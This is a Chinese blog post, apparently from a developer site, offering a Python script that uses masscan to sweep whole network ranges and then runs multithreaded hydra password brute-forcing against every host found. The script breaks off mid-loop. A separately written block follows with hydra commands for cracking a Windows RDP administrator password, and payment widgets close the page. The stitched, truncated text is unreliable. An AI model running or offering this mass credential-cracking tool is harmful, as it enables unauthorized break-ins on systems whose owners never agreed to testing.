快速批量破解密码-端口扫描masscan+hydra联动脚本

#0x00

端口扫描工具masscan速度超快,扫描一个B类地址65535个IP的1个端口,10分钟之内即可扫描完,扫描出的地址再配合hydra进行定向服务爆破

#0x01

kali中自带hydra工具,自行安装masscan工具;

kali中自带python3环境,可直接使用脚本,脚本先调用masscan端口扫描,输出扫描结果,再对扫描结果提取ip地址,然后调用hydra工具对提取的ip地址进行批量爆破,为加快破解速度,脚本采用多线程技术,可自定义线程数量;

#0x02

 python代码如下

import os
import threading
import re

#####################定义最大并发访问数量,建议不要超过20###############
pool_sem = threading.BoundedSemaphore(15)
#####################定义最大并发访问数量,建议不要超过20###############

def masscan(ip,port):
    mas_cli = 'masscan -p' + port+' '+ip + ' -oL masscan_result.log'
    os.system(mas_cli)

def re_ip():
    ip_list = []

    with open('masscan_result.log' , 'r+' , encoding="utf-8", errors="ignore") as f:
        scan_ip = f.read()
        for m in scan_ip.split("\n"):
            try:
        &nb
使用Kali Linux中的Hydra工具进行密码爆破攻击是一项安全测试活动,用于检查系统的安全性。请注意,这样的行为应该仅限于授权的测试环境或在你拥有明确授权的情况下进行,未经授权对任何系统进行攻击是违法的。 下面是一个基本的指导,介绍如何使用Hydra工具来尝试破解Windows 7操作系统的用户名和密码: 1. 准备工作:首先,确保你已经安装了Kali Linux,并且已经安装了Hydra工具。如果没有安装,可以通过Kali的包管理器apt进行安装。 2. 收集信息:了解目标系统的IP地址、使用的协议(如SSH, FTP, HTTP等)以及可能的用户名和密码信息。 3. 运行Hydra:使用以下格式的命令来尝试爆破密码: ```bash hydra -l username -P passwords.txt -s port_number ip_address protocol ``` - `-l username`:指定要尝试的用户名。 - `-P passwords.txt`:指定包含可能密码的文件。 - `-s port_number`:指定服务运行的端口号(如远程桌面默认是3389)。 - `ip_address`:目标系统的IP地址。 - `protocol`:指定服务的协议,例如:`rdp`(远程桌面协议)、`ssh`、`ftp`等。 例如,如果你尝试爆破远程桌面的密码,命令可能如下: ```bash hydra -l administrator -P passwords.txt -s 3389 192.168.1.1 rdp ``` 这里 `-l administrator` 表示尝试破解的用户名是 `administrator`,`-P passwords.txt` 是一个包含密码的文本文件,`-s 3389` 指定远程桌面服务的端口,`192.168.1.1` 是目标系统的IP地址。 4. 分析输出:Hydra执行完毕后会显示结果,如果成功,它会告诉你找到的密码是什么。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

归零者k8

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值